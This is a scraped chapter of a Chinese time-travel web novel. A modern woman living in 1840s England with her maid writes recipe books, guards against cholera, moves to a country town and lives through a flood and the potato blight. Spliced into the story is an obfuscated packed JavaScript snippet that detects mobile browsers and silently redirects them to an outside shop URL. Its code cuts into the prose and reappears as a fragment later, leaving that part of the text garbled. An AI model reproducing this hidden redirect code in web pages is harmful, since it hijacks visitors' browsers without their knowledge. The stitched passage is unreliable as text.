“那就是其他的水源,很可能是某个取水口附近有污染物甚至病人尸.体。尤其是泰晤士河那么脏……水务公司的那种过滤并不能去掉致病的微生物。所以记住,一定不能喝没有煮开过的生水,甚至你也不要在外面吃喝。洗手也用过滤过但没有煮过的水。蔬菜一定用开水煮过再吃;水果也要削皮。” 夏天了,听说伦敦那里的河水气味难闻。 苏茜换掉了过滤水桶里的部分滤材。出于成本考虑,还是将锰砂用开水煮过重新使用,其他则是扔了换新。也因此,她经常往水桶里加岛上雨水的沉淀水——梅丽尔还以为都是雇主往里面加的自来水。 因为晚上太热,炉子是熄火的,苏茜还送她一个大玻璃水壶,每天灌两壶开水,放凉了喝解渴又安全。 梅丽尔不太喜欢茶水,不论是红茶绿茶。 苏茜自然是买的进口绿茶,泡茶煮咖啡都是在二楼起居室,免得一楼太拥挤。连梅丽尔冬天用的毯子褥子也都是放二楼晾衣间的定制收纳柜子里,不然真没地方塞。 三楼是画画、做化学实验的地方。房子没有专门的盥洗室,改造的时候抽水马桶边放了浴桶,也是方便二次利用水。平时洗漱都是在房间里用盆的。所以苏茜一向自己打水或是在起居室洗漱。 梅丽尔即使成年了也仍然没有雇主力气大,这一点让她颇为无语。但她一点口风也不会露,反而用法语和甜点“横行”这一带。在断断续续“艰难”学习了两年之后,她能讲些法语,能识别各国的商品,尤其与食物有关的。 另外就是,梅丽尔被挖角了。 “有一技之长是好事。”苏茜点点头,“你可以考虑做我这里的兼职服务,再去面包店做个甜点师。谈清楚,不是普通店员,更不是学徒工。” “哦,太太,那我就不去了。那边只给学徒身份,但是要我负责所有的甜点制作,而且要上午下午各工作四个小时。”不管饭,不住宿。“他们说男人才能当面包师和甜点师。还要我对男客人好一些。” “那就拒绝。对了,你已经十七岁,不再适用三先令的工资,加到六先令。衣服跟伙食这些的我就不说了,另外帮我们联系洗衣和清洁的兼职人手,每周两次上门就行。你如果有结婚对象,可以跟我和你母亲商量下。” “好的!太太!”梅丽尔一本正经地行了个屈膝礼。 一回头,梅丽尔就用现任雇主工资、衣服翻倍的强大理由,回绝了面包店的五先令不包任何东西、不准吃店里的东西还得自备服装的待遇。同时,苏茜给的待遇迅速在这几条街的女仆里传开。 有咖啡、衣物、床铺、洗澡、香皂、菜肴、采购、出行等等,其实近身女仆及以上都有。但是主人教书写、算术、外语和甜点制作等等就少见了,更不要说做好的肉菜、点心、奶茶等等直接分一半给她而不是吃主人剩下的。 “对仆人的分寸?哦,不,太太,我需要我的女仆能看懂法语食谱和意语、德语说明书,并且做出来店里卖一先令一小块的蛋糕和两先令单人份的肉羹,如果有需要改进的地方,知道如何完善,她必须不能比法国厨子差。为了用我支付得起的代价吃得好一点、还有喝到我喜欢的各种饮料,我愿意花钱请洗衣和清洁女工。” 对方老妇人张了张嘴,合上。似乎,听上去还是六先令的女仆便宜? “哦,除了咖啡,茶,你还要准备什么‘复杂’的饮品?”另一名妇人好奇,或是带着某种不屑的情绪问道。 “咖啡有很多种。我偏好用化学方法萃取的咖啡,用的是最新式的酒精灯,加入用一点烈酒烧过的糖以及煮开的牛奶。当然有时候土耳其式的铁制咖啡壶煮出来的也不错。而茶,光红茶就有五个种类,绿茶的制作方法有炒制和蒸制两种,半发酵茶也有好几种,不同的茶要对应不同的饮用方法和添加材料。冬天的时候我最喜欢烤制的花果茶,用几种干花,味道清香的草药,不太酸的水果干,与茶叶一起放进陶壶里,在火上翻炒,再加入牛奶和水,煮开后继续再煮五分钟,然后过滤掉茶叶和花草后的奶茶非常可口。而现在是夏天,我往往用几种进口的草药、水果干和中国产的绿茶一起泡上一个小时,凉了以后喝特别解暑,当然晴天和阴雨天用的材料是不一样的。其他的饮品就更多了,比如用新鲜的葡萄、黄颜色的那种水晶糖块一起做的葡萄酒,一共需要差不多半年多的时间,尤其适合女士晚上来一杯……嘴麻烦的还是面包和点心的制作,我不用酵母粉和老酵种,是根据不同的季节和食材制作不同的发酵液,每天新鲜制作不同口感的面包……” 周围听热闹的女士们眼珠子都快瞪出来了。 “……我想我还是写几本饮食记录吧,不出版,只是手抄本,让梅丽尔抄写,大家只要付给她抄写描图费就行。”都下午了,苏茜仍然被女士们围得水泄不通地问吃食,不得不这样解释。教堂门口这样讨论吃的确实不太好。 最后苏茜写了超过二十本记录。光是牛肉为主的料理就值得写三本书,一个烤制的,一个炖煮的,一个油煎的,城里能找到的、不同季节的配菜大概三十种,更不要说本地的、国内的、进口的几十种不同价位和口感的香料。另外就是咖啡和茶,以及“基础”调酒,各一本。另外蒸馏,不管是酒还是植物提取,也是一本。至于点心和面包就更多了,各三本,这个还是简略版,材料可以在超过五十种里选择自己喜欢的、能够负担的若干:还记得她的十二种挞吗?在聚会中摆出来一定能获得好评。另外,土豆这种可以当主菜、配菜和点心的,自然得是单独的一本。沙拉和轻食,各两本。 最后,凑齐二十四本。 梅丽尔抄得手都快断了,但每天都过得非常快乐。在不需要洗衣清洁之后,她大部分时间用来实践调整那些记录本上的食谱做法,然后一本临摹两幅苏茜的简笔画,再工整地写出堪比高级印刷体的文字。 两个手掌大小的册子,每本二十到二十五页,单页有文字或图片,价格是十便士。不过其中两便士是装订好的册子和笔墨的成本。苏茜让她自己控制成本和收费,净赚的全部归这位能干的女仆。 苏茜每份记录平均需要一周左右时间完成,加上写画修改,一个月只出两本原版。然后梅丽尔抄了卖掉。 这项活动进行了整整一年。苏茜和梅丽尔的名气在整个教区都不小。最后梅丽尔赚到了三年半的工资,把这些多得钱都给了玛丽母女,将破旧小屋卖了、买个二层小房子养老。 玛丽这几年一直在工作。在梅丽尔不停给家人灌输学技术、学手艺的影响下,她弟弟去当了厨师学徒工,妹妹一边帮着外祖母卖菜,一边去一个慈善学校学了两年,出来后做着抄写员、菜贩和兼职女仆等几份工作,并且考虑去学习些护理知识。 “好好记住,这些知识说不定能帮你们找到好工作。”嫁人什么的,看倒霉的母亲和外祖母就知道了。他们的外祖父还不知道在世界上哪个角落活着或是尸.体已经被扔进大海去了,而便宜父亲抛弃家庭十年,突然出现时已经病入膏肓还要求她和妹妹卖身给他治病……她家雇主说这种因为不洁的关系导致全身疱疹的晚期病症死定了,早点烧了埋了比较好,不然会传染给家人。于是她和弟弟戴上雇主赞助的口罩、帽子、手套和围裙,一起将那家伙连同隔离装备全部烧了埋了——反正外祖母说她可不想死得那么悲惨,母亲当然也不会反对。 “天哪,土豆真有用。难怪爱尔兰那边全部种土豆了。” “罗西诺太太说他们只用一种方式种一个品种,作物一旦染病,迟早出大灾荒。所以,别想着去那里买地种土豆,赚不到钱的。”事实上雇主说的非常深刻恐怖,尤其是那边人口暴增的“好现象”让雇主连连摇头叹息。“还不如去北美。不过普通人去北美可能会死得比较快。” “……那继续在这里生活比较好。我过几年可以找个厨师或者面包师工作的。”死得比较快?意思就是那里很不安全,想赚钱也要有命花是吧。 梅丽尔拍拍比她高的弟弟的脑袋,出门回去了。这个家,也就是几位血缘相通的人,没有自己的床铺毯子,没有自己的衣物饰品,没有自己的文具书籍,每月相处半个白天,跟嫁出去的女儿与娘家的关系差不多。另外,她不喝生水的习惯也“传”到自己家,因此她家没人得霍乱。 苏茜对报纸上巴黎霍乱疫情的渲染不以为然,不过对“正式”公布的死亡数字同样嗤之以鼻。两个数字平均一下就可以知道没有成规模下水道系统的巴黎死了多少人。 “大概是塞纳河没有泰晤士那么臭。”苏茜如此回答“好奇”的八卦妇人们。“而且,没有工业污染的空气确实好一点。另外,不少供应的水来自附近几条污染不太严重的河,所以不像伦敦那样即使经过过滤也有一股不太好的味道,煮开后也不是很好,加茶叶煮咖啡才喝不出来。但是,我们都知道贫民区的情况不是吗?哪里缺乏干净的饮水、流动的空气,哪里就可能疾病蔓延,更不要说传播黑死病的老鼠和传播热病的蚊子。” “热病和蚊子有关?”有人惊呼。 “是的,黄热病这些都是,因为当地气候炎热,常年有大量蚊子。我们这里不流行热病,这跟气候有关,而非我们的生活习惯有多好。” 不流行……几个旁听的妇人扯扯嘴角。这个油盐不进的罗西诺真讨厌,说起来一套一套的,完全不能满足她们想要在她脑袋上扣一个来自于肮脏城市的帽子。要不,找找这女的有没有秘密情夫、包.养人什么的。 苏茜并不是很清楚,因为自己的食谱导致不少周围的人一边用她提供的方法提高生活品质、一边恶意满满地打算给抢走她们风头的人一点“教训”。 即使知道也无所谓。 “你挑个喜欢多嘴的人选就可以了。但这病并不会因为面对面说话而传染。是需要亲密接触的,所以可能是这位太太的丈夫的情人,说男或女的情人,传染的。我得说,可能男的情人的可能性更大,因为这样的男孩子往往又不止一位对象……所以你最好劝你的朋友拒绝这家人的雇佣,免得被女主人栽赃。” 觉得自己做了件好事的苏茜完全不去考虑这种“猜测”传出去有多惊悚,更不认为将那位爱惹是生非的太太踩下去有什么不对,虽然那位也不一定就是她猜测的目前时代挺棘手的两种疾病之一。 已经被雇主“培养”多年的梅丽尔一通听谁谁说、可能也许的,将小姐妹砸得头晕眼花的同时,将一条其实是真相的猜测传遍街区。那位太太是最后一个知道自己丈夫染病还传给自己的,原本她还以为是皮肤和妇人的小毛病,还用了大量化妆品和偏方。但听说这个传闻后忍不住私下去找了几个医生,才发现自己可能真的染病了! …… 别家的鸡飞狗跳与苏茜无关。她首先要将脑袋里一堆“素材”捋一遍,再将协调的元素排列组合,然后呈现在画布上。 值得庆幸的是目前还没有卖不出去的画,但最高价也就是二百九十镑的净收入、还是卖了四个月的成果。均价距离两百还差两镑…… 行吧,她的水平确实一般,但只要有华美的东方美人,价格总能高一点。所以这次她拿着好不容易买到的毛笔,在白纸上写了几句汉赋,然后照着纸张侧过来的样子,描摹在宋制汉服美人面前的精致花笺上。精致的雕窗外是漂亮庭园的一部分,树上绽开的紫玉兰,角楼檐下的铜风铃,池边水榭的侧窗,以及窗口探出来的头冠。 整体画风略二次元,建筑风格和物品摆设主打一个混搭。最重要的是美人偏意籍长相,还戴着宝石指甲套和希腊风格黄金首饰。 闭门画了一段时间,苏茜问梅丽尔最近也没有人继续打自己的主意。 还是有那么多闲得发慌天天想着找事的啊!尤其里头好几个热爱刺探甚至传播谣言的——男和女都有。其中倒是有两位很容易解决:那种与牙缝里塞了好几天的食物不一样的口臭,有可能是肾脏不好,而年纪不大肾脏不好、可能与那方面有关的哦! 别管男女,先套个帽子再说。 科普了一通后,苏茜真的写信给好几位伦敦和本地的医生,探讨口臭与口腔清洁、内脏病变和中.毒等的关系,同时也为医生辨别病因提供辅助佐证。这些她是真的有科学依据的,拿几样最容易理解的出来好了。其中有三名医生是给了回信的,一个明确不可靠,一个说有待跟踪,一个说其中一项是有道理的。 于是苏茜还特地租车去那位伦敦全科医生那里买了好几种用得上的自制草药膏,还跟医生探讨了乙醇和硫酸的反应物。 “我偶然听到一个美国的客人说,有当地医生用这种混合物的气味让病人半昏迷,从而成功地拔掉了牙齿,期间病人没有很痛苦。所以您是不是试一试?毕竟像我伯父那样,半瓶白兰地也不能让他神志不清,最后活活疼痛而死。” “您的消息真的太重要了,我觉得完全可以试一试。”有得是病人乐意尝试不是吗?何况他愿意做第一个! “是的,只要不吃下去,吸入的毒性不大。”至于这位能不能麻.醉试验成功就是另一回事了。 …… 冒充了一把化学爱好者之后,苏茜满意地采购了一批茶叶后第二天才回家。她满意的是医生,而不是这个并不比巴黎强多少的城市。 * * * 红色高耸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……哦,我知道了。我帮过这位医生一个忙,他寄来了感谢费。”苏茜也是辨认了一会儿才认出这个签名就是之前自己找过的那位伦敦的医生。这都几年前的事了。不过,基于汇票上那超过她三年总收入的金额,她估计对方这么久才寄来感谢费是因为需要攒一段时间的钱。看看汇票上的签名,是完全不认识的名字,所以搞不好是某位有钱病人的感谢费。 苏茜写了封感谢信和一份放弃任何利益的声明,寄给那位现在已经颇为有名的全科医生。没人再说这位医生是药剂师出身、学识不够,而是说幸亏这位懂药物和化学,能够避免病人经历剧烈的痛苦。另外,对方真的给医学类期刊、还有报纸投稿说了口臭这件事,也是为自己同样能应付内科正名。 苏茜看到期刊时微笑了下。这本期刊她有很多呢,但都是一百年后的技术水平。 嗯,对了,那俩特别爱惹事的口臭邻居已经被人所周知并且怀疑会传染的诡异臭味给搞得搬走了,尤其是那位被大家怀疑“不行”的绅士去美国了。还有一位铅或者还有汞中毒的女士,坚决不相信让她更美丽的化妆品有毒,所以苏茜觉得她距离废掉不远了,因为她的精神状况和记忆力出现了问题,脸上也出现了坑——但可怕的是,即使脑袋出现问题,这位也坚持要美美地出现在人前,于是抹了更多的化妆品! “她快不行了。”苏茜对梅丽尔嘱咐道,“别用眼神或语言、行为刺激到她,避开点。还有,别告诉其他人。” “好的。”梅丽尔经过苏茜的解释,知道了这其实是一种慢性自杀,缓慢、痛苦而不自知,但这一切又都是为了美丽。真是的,一位嫁妆丰厚、有快成年儿子的贵妇,干嘛那么想不开。 显然的,苏茜还是错估了这个过程。那位太太拖到儿子成年后的第二年才过世,她的丈夫匆匆赶回来参加葬礼并且开始与儿子及儿子背后的妻舅打遗产官司。 梅丽尔彻底不想结婚了。“我的弟弟要跟一位寡妇结婚了,对方在镇上有一栋房子和一间面包坊。” “很明智的选择。”苏茜点点头,指着一边定制的六斗柜,“上面第二个抽屉里,右手边,有个木头盒子,我记得里面有两个银怀表,你挑个送你弟弟当结婚礼物吧。” “这太贵重了!”真的不能收,那种怀表售价超过二十镑,即使现在属于二手也超过十镑。 “没事,你弟弟也帮我做了不少事。”尤其是采购,靠谱的食品供应商太重要了。“以后还是请他继续寻找好的供货商。” “好的!”这个接近交易价值了,所以她会跟弟弟说清楚的。毕竟她的雇主相当大方,尤其是在与饮食有关的事情上很舍得花钱。这不是不久前刚得到一张接近四位数的汇票,想来即使未来几年雇主都不画画也能过得不错。 事实上苏茜将那汇票兑换成一堆金币与合金币作为收藏品。这种不怕放坏的东西多多益善。 …… “里昂?巴黎!哦,真是没完没了!”有人拿着报纸嘀咕。 “我更想知道什么时候霍乱能结束!”另一个人满脸疲倦。 不过二楼的苏茜则是盯着外籍军团的名称。所以,法籍本土军队从这个时间就不行了是吧,自家的殖民地也都是靠外籍军人打,这一点确实比英籍差远了。 放下报纸,苏茜开始研究调整新食谱。 现在整理食谱的事情都是梅丽尔在做。苏茜甚至支持她向家庭杂志投稿,还帮忙润色——投十份能过两份,虽说赚不到多少先令,但这极大地提升了梅丽尔的自信心。 她已经是本街区最厉害的女仆,而且有望得到很不错的退休养老金。因为她家雇主已经为她在本地银行开立了一个年金账户,并且每年都往里面存十镑,加上攒的钱,她可以一直干到自己做不动后还能享受比较宽裕的老年生活。 苏茜并不觉得自己做了多了不起的事,她只是按自己记得的标准给员工交社保——这里的社会保障尤其是医疗保险比德国落后一百年,好在不仅没什么医疗可言,包括梅丽尔在内的所有本地人也不知道社会保险这类事物。 梅丽尔拒绝了母亲提出的结婚人选,直接说会在现在的岗位上干到老。 然后玛丽就将女儿十二岁开始到现在的待遇传播了出去,还有她家闺女居然写了食谱刊登在杂志上。呵呵,想让闺女结婚后继续做女仆养男人养孩子?统统见鬼去吧,搞不好她老得走不动的时候得靠女儿的年金账户活命。 梅丽尔的弟弟则是高兴得不得了。不仅是一只几乎全新的怀表,还有那位不买首饰买吃食的太太愿意免费提供面包和甜点的详细制作方法,而不止是梅丽尔掌握的那些家庭版本。这样他就真的不是靠老婆养的穷小子了。 而苏茜这边,则是迎来了一位衣着考究的律师。 “加这幅画五百镑?可以。我什么时候搬走?” “呃,如果可能的话……下个月?” “没问题。”苏茜没有问为什么一位伦敦的律师知道她手头刚好画完的东方式风景画。因为上周这条街斜对面的邻居太太跑来拜访,东拉西扯半天还去上了个厕所,并且对这幅画赞了又赞。当时她觉得有些莫名其妙,现在知道了。其实对方觉得是赚到了,因为如果拍卖,搞不好对方要花四百左右,现在加上房子才五百那简直太划算了。而对她来说,可能这幅画也就到手两百多,那么对方的开价对她是有利的,唯一不好的就是中介和拍卖方都少了一笔收入。 于是梅丽尔一回来就面对和雇主一起走人的局面。 26.国王亦凡人(七) 苏茜这是第四次搬家了。 “我们去你弟弟开的店附近看看吧。也许以后就不需要我们自己做主食和下午茶了。”那个斯特镇她在若干年后是听说过的,距离不远,可却不知道现在是什么样子,毕竟差了一百多年的时光。 事实证明这里其实是个适合居住的丘陵小镇,河流看上去颇为干净——无异味和奇怪颜色——就是绿化太少,房子街道建得不整齐。她们一路过来还看见一个热闹的集市。 “很多城里的小商人也来这个集市买东西。”车夫是镇子附近的人,对这里很熟悉,热情地到处介绍生活设施,还载她到了一间门面开在主街侧面的中介。 “这间房子最大的好处是有下水道和自来水,两个炉子,楼上楼下都有浴缸、壁炉和抽水马桶,阁楼外的露台可以晾晒东西。另外,周围的邻居虽然没有贵族人家,但都是比较体面的,那家餐馆做的意餐也很美味。” 苏茜这一排房子的结构是两层半带后面的平房的格局,一楼前后有好几个大窗户,二楼起居室还有落地窗,包括阁楼在内有四间卧室、一间起居室、两间杂物间和一个大客厅兼餐厅,属于可商可住的那种。因为这排房子最外面靠近商业街的一栋房子还是个家庭式小餐厅。 房子如果卖不掉也接受长租,售价近五百镑,房屋相关的税跟前两次买的房子加起来的差不多,还没有院子,但房子比较新,包括阁楼都是打扫过的,家具装饰还是成套的,窗帘遮光效果不错,只要买了柴禾和等日杂用品,再把行李搬过来就行。 “就这栋吧。” 苏茜拍板买下。“梅丽尔,记得挑两个兼职女仆帮你干活。” “好的,太太。”梅丽尔弟媳家也接近这种格局,一楼开店干活,二楼及阁楼住人,比苏茜这边拥挤些,但地段在商业街区,距离这栋房子走路十分钟。可见镇子不算小。 苏茜去签了契约,交了税——还跟本地税务官咨询了房屋税和所得税的事情——梅丽尔则是拿了钱去周边找杂货铺大采购。 等回到理论上已经不属于自己的房子时,已经是傍晚了。苏茜给了车夫来回车资加小费,定下后天上午过来帮忙跑三趟搬家。 “我们还省下了一笔旅馆费。”梅丽尔在知道那房子的价格时吓了一跳,同时明白了为什么自己弟弟愿意“入赘”别人家——他们家一辈子也买不起弟媳家那栋可能更贵的房子,何况她家又没有限定男性继承,理论上她和妹妹都可以带了自己的丈夫孩子住在家,想必以后是个鸡飞狗跳的局面,现在这样最好。 “对,还有可以买到不同口味的面包。”什么时候可以进口大米啊!唉,难道得去找走.私商人的路子?“如果你弟弟家的面包坊品种太少,我愿意免费指导。我以前曾经开过甜品面包店,生意不错的。” “好的,太太。”梅丽尔还是第一回知道这事。还以为之前雇主也是靠画画写书以及公债存款收益为生呢! 镇子上毕竟不比城里,再繁荣也没有大量的配套服务,各种家务都得自己动手。所以梅丽尔找了两个女仆,一个二十多一个三十多,都是周一到周六白天来上工下午回自家做晚饭,周薪三先令,包一顿正餐外加“工作服”。苏茜面谈同意后就上任了。 两个帮手大大减轻了梅丽尔的体力活。偌大的房子,光是每天生炉子、拖地和清洗,即使不需要给雇主铺床收毯子,都能占用她四个小时的时间。更不要说一周几乎不重样的餐点。 好在烘焙的活大部分都变成了买现成的。 “……我和罗西诺太太吃低糖和无糖的,这样对牙齿和健康好。”梅丽尔每两天会去弟媳的店里拿定制的面包和下午茶点心。因为苏茜的口味,现在瓦莱里面包坊不仅用发酵液做风味面包,还开始卖各种亚洲和非洲进口的各种红茶、绿茶、调料、水晶糖、红糖、黑糖等等,还有磨好后放在半磅罐子里的咖啡粉,连自制葡萄酒用的可水封玻璃罐都有——卖不掉的苏茜能帮忙清仓。 “吃糖和牙齿健康有关?” “吃糖不注意漱口的话会牙疼,吃多了还会发胖,尤其是大量糖和奶油加在一起有非常明显的增肥作用,对女士太不利了。”梅丽尔认为自家雇主吃得这么好不用束身衣也没有变胖、平时也不生病主要是饮食习惯,她自己也受益不少,因此对其他人也是如此说的。 “可是——”糖和奶油,多好吃啊!而且贵得舍不得经常吃。 “巧克力加少许牛奶和更少糖是很好的选择。”她还拿了两份今天做的巧克力蛋糕新品结账走人,结果导致店里的女客将为数不多的新品一抢而光。 “刚才那位是?”有人问老板娘。 “我丈夫的姐姐,是位女画家的管家。”周薪六先令加、吃穿住以及每年存的年金,是她每天辛苦工作十个小时的一半还多——看这位大姑子身上的呢大衣、中跟皮靴、绒长裙以及衣服上肥皂、手上香皂、脸上玫瑰精油的味道,还有文雅的口音用词和偶然冒出来的外语名词,说是出身中等人家的都有人信。 “那位女画家很有钱?” “钱倒是不多,只有一个管家两个女仆,平时不出门、不交际,靠卖画和利息生活得不错。主要是我这位亲戚也给杂志投稿食谱,还抄写食谱册子,那件大衣应该是她自己赚的钱买的。”丈夫说之前大姐差点写断手,光抄写费就赚了几十镑——在雇主的支持下——自己买件七八镑的平民款大衣是没问题的,或者雇主送的半旧衣服也有可能。 梅丽尔确实还在赚钱。她的土豆系列料理刚连载到第三篇,总共七篇稿件包括三幅插图,在扣掉邮费后得到了近十镑,又可以为自己的养老金增加一点点。 “佩纳先生的工厂破产,他们一家都乘船去了北美。债主们正在申请将他们家的财产拍卖。”一个客人望着外面乱哄哄的一群人说道。 “哦……听说城里的房租都降了。不过镇上好像没什么影响。” “怎么没有?!佩纳先生是第二个破产的绅士,还欠了我丈夫几十镑,我们已经不指望能收回来了。谢天谢地我们家靠农庄出产过日子。”感觉手里用奶油、焦糖跟烤杏仁片这些美妙的食物做的泡芙甜甜圈都不香甜了!放下吧,省点钱。 另一位见她放下后离开,默默地将泡芙甜甜圈拿走结账。哪怕这个要卖一先令,也贵得值。不给小费她家女仆都不肯费时间和力气做奶油,加上浪费的食材,自家做的成本也没有低到哪里去。 苏茜看了眼已经基本卖空的漂亮甜点,控制住了自己的手。以后还是不要出门了,老老实实在岛上练功比较好。 天气更加暗沉了,在苏茜赶回家的前一分钟开始下雨。等她回到家上到二楼,看到地面全湿了。镇上有各种优势,因为地势的关系,下起雨不会内涝,但远处略低的农田估计不好受。 吃完均衡健康的晚餐,锁门关窗。岛上确实没下雨。练完功冲个凉水,只盖了床粗布床单就躺下。床垫是上辈子晚年定制的,已经破旧了,但怎么也比现在的床垫好用。枕头则是从城里住宅里直接顺走的。 岛上温度适宜,比房子里闷热的环境舒服不少。 雨下了整整四天,期间最多只是下得小一些。街上还好,农田已经淹水了。外面走动的妇人们明显少了,很多农庄主人家开始跟工厂主们一样满面愁容。 “感谢太太喜欢囤粮食的习惯。” 房子里仍然保持两名打下手女仆的规模,不过其中一位换人了。现在苏茜给她们本周的薪水换成没有涨价前的面粉,等于临时涨薪四成。 雨还在下,即使转为小阵雨,可水灾已成定局,好在前几天很多麦田已经收割,暂时不会有断粮的风险——有的话还能进口粮食不是。集市仍然开着,摊贩们冒雨守着。大部分食物的价格都大幅上涨。很多蔬果并非是伏地作物,可根系长时间浸泡在水里,很难说还能不能活。菜园主农庄主们尽管涨价也不见得能挽回多少损失。 “机器浸水就全部完蛋了。”新女仆的丈夫是工人,现在失业了,全家大半的开销靠她这份女仆的薪水,小半靠孩子们打零工,所以苏茜大方地将囤了吃不完的食物都送她了,还把买菜跑腿的活计交给她的大女儿。 这场大雨导致的大水一个月后才完全褪去。 苏茜对饮食的安全盯得更严格了,还特意多准备了一个滤水装置。 “你们把这些煮开过的水带回去给家人喝,记住,绝对不能喝生水,会得霍乱和其更糟糕的疾病。”她对两位女仆说。这俩都不是住家的,意味着可能在自家吃喝不洁的食水导致感染疾病,可能会传染给这房子里的人。全程烘焙的食物问题不大,所以面包之类仍然可以从店里买现成的,何况街道地势比农贸集市高还可以走动。但其他食物就必须严控卫生安全。 “谢谢,太太!” “我们会小心的!” 吃坏肚子和感冒都有可能死的时代,霍乱已经是非常可怕的传染病,还有更糟糕的?难道是黑死病?!脑补过度的女仆们战战兢兢地每天抗了对自来水进行过滤然后煮开的饮用水回家,同时用比霍乱更糟糕的疾病吓唬住了自家和周围邻居。 果然,遭水灾的地方出现了皮肤病、腹泻、伤寒和一堆其他病患。镇上一位老人过世,还有一位传言是破产自杀但对外说是急病过世的农场主也被匆匆下葬。其他办不起体面葬礼的普通人肯定死得更多。 好在苏茜这栋房子里没有人生病和死亡。 不管外面对粮食进口有什么对立意见,苏茜按部就班地过自己的生活。 楼兰。 谁也不知道到底是什么样子的,所以不管她如何“混搭”都不会有什么问题。各族的建筑、各族的商人、各族的饰品,旋舞的美女,窃窃私语的盗贼与心怀鬼胎的使者,九座迥异的建筑和三十个迥异的人物让整幅画充满了想象力。 这幅画前后画了大半年,还废了几稿,最后的成交价也是个让人愉快的数字。 正当苏茜认为自己已具备了一定艺术水平的时候,被报上对爱尔兰土豆收成出问题的轻描淡写。 “病虫害很常见啊!”人们的一致看法就是,虽然不常见但也是可以理解的,但自己这里得赶紧检查自家田地有没有相同的病虫害。 但几天后,报道口风变了。镇子附近种的土豆并没有这问题,但有些农庄使用了相同鸟粪肥的高产田产量大幅减少。 这回,不仅集市上本地土豆跟着涨价,面粉等也随之涨价。 “我们应该进口更多的谷物,而不是为了维持贵族的生活水平让国民挨饿!”不少激进的社论乃至集会开始猛烈攻击谷物相关的法律。 “面粉还会涨价吗?”梅丽尔以及大部分人只关心这一点。 “如果大量进口便宜粮食,谁还继续种地?”庄园主们开始揪头发。灾害让他们筋疲力尽,进口粮食的威胁让他们开始考虑是不是去种玫瑰花什么的,要不直接种牧草放牧得了,毕竟进口羊毛并不便宜,进口牛奶更是不可能,与粮食的悬殊价差完全不同。 “这样还需要我们和我们的孩子吗?一个庄园只要几个牧羊人、挤奶工就行了吧,屠宰也可以临时雇人啊!” 佃农们开始为生计发愁的时候,苏茜买到了大米。 白净纤长的南亚大米,就是这里的炉灶不太好烹饪。为此,苏茜跑了不少地方,终于买来好几种锅,尤其是陶锅。她对古老的煮饭技巧不是很精通,所以亲自试验了好几种做饭方式,最终发现陶锅土豆胡萝卜牛肉米饭最简单——老式炉子搞火候问题是个很麻烦的事,还不如一开始就用小火煮到水收干食材变熟就行。 梅丽尔现在也喜欢这种方式了,特别方便,可以省下时间和助手们一起拆洗晾干被套和擦拭那么多玻璃窗,再给太太煮一壶薄荷咖啡。露台上有不少花盆,里面种了薄荷叶。最奇怪的是太太居然喜欢直接扯几片薄荷叶冲洗下就加到咖啡粉里一起煮——只加牛奶不加糖。更不要说每天不一样的茶饮,让这栋不爱接待客人的房子在这个镇子上显得有些格格不入。 “艺术家总是与普通人不一样的,尤其是女艺术家。” “我听说最近罗西诺太太画的一幅画花了整整八个月时间,每天在画架前画六个小时,连午饭都经常不吃!” “天啊,那是不是能赚很多钱?” “嗯……听说……不久前卖掉的那幅,到手连四百镑都不到!中介、画廊、拍卖这些赚走不少。” “这么少?!”其实不少了,她和丈夫两个人一年也就一千多收入,还有三个孩子和七个仆人、一个家庭教师要负担呢。 “是啊,难怪连下午茶都不出来,更不用提舞会了。我之前就知道,她不卖画的话,每年收入应该也就一百镑左右。” “那样的艺术家,不会有男人想请她跳舞的吧?” “对,束身衣都不穿,也不化妆打扮打扮。” “她是不想再婚,所以关上门自顾自的吧?” “应该是,这些年她雇佣过的女仆也没有一个人说她有情人什么的。难道是通过那个住家的女仆?不过那个女仆年纪也不小了吧?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045820|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” “……” 大小起居室、跳舞厅、咖啡馆和小包厢里,最受欢迎的就是探听别人家的“秘密”。苏茜的不交际无法满足大家的窥伺.欲,那么只能靠猜测——都是基于苏茜“有意无意”放出去的消息,过段时间就放点“新鲜的”,尤其是跟钱有关,毕竟在大家眼里,她现在已经是“中年女性”了,即使她根本不觉得。 * * * 起居室里的苏茜是放下报纸。 英格兰这里根本不会去管爱尔兰的□□饿死多少人,确切的说大家都是各扫门前雪,只要不是自己或重视的亲友饿死,其他人如何与自己何干?也就是谈资罢了。最要紧的是自己在爱尔兰的土地出产能不能换成钱。倒是很多各种“学家”开始深扒这种土豆“疾病”,还有研究人类在缺乏营养乃至基本食物的情况下会出现什么病症之类。 那边大量饿死与逃亡北美是事实,谁也改不了。何况,人口在短时间内大量猛增从来不是好事。 她老家死起人来比爱尔兰恐怖多了。光她自己经历过的旱灾水灾蝗灾加起来估计超过五百万人因缺少食物、净水而死亡,这还不算战争的损耗。 还是研究咖喱料理吧! 庆祝她终于买到了咖喱!对于本地不阉的公猪肉、不去腥鱼肉,还有不少腐臭味的“美食”,她已经不想说什么了,只能全部自己来。 于是梅丽尔的新一批投稿就是这些亚洲进口的食物。主要就是大米相关料理,三个月里写了十四份——不是刻意吊人胃口,纯粹就是得先试验做法和味道然后再写下来。 “对,中午吃咖喱土豆牛肉大米。” “我们晚上还是吃鸡肉沙拉?” 这道菜在女仆们的口口相传后在镇上流行开来。尤其今年的冬天经常下雨,特别湿冷的季节里吃一份带着独特辛辣口感的异国大米食物,成本价格和烹饪难度也不高,只要试几次做法就行。也因此,梅丽尔拿到的稿费高了一些,更接近专栏作者的价格。 倒是另几篇讽刺文章引起苏茜的注意。美国那边“也”开始用□□麻醉,还有人妄图申请专利,然后被伦敦大加嘲笑,甚至还上了专业期刊。因为伦敦很多医生都这样做了——没有专利,只有第一个这样用的可敬的全科医生。苏茜认为自己总算对这个世界做了件好事,起码带来了好处还减少件恶心事。 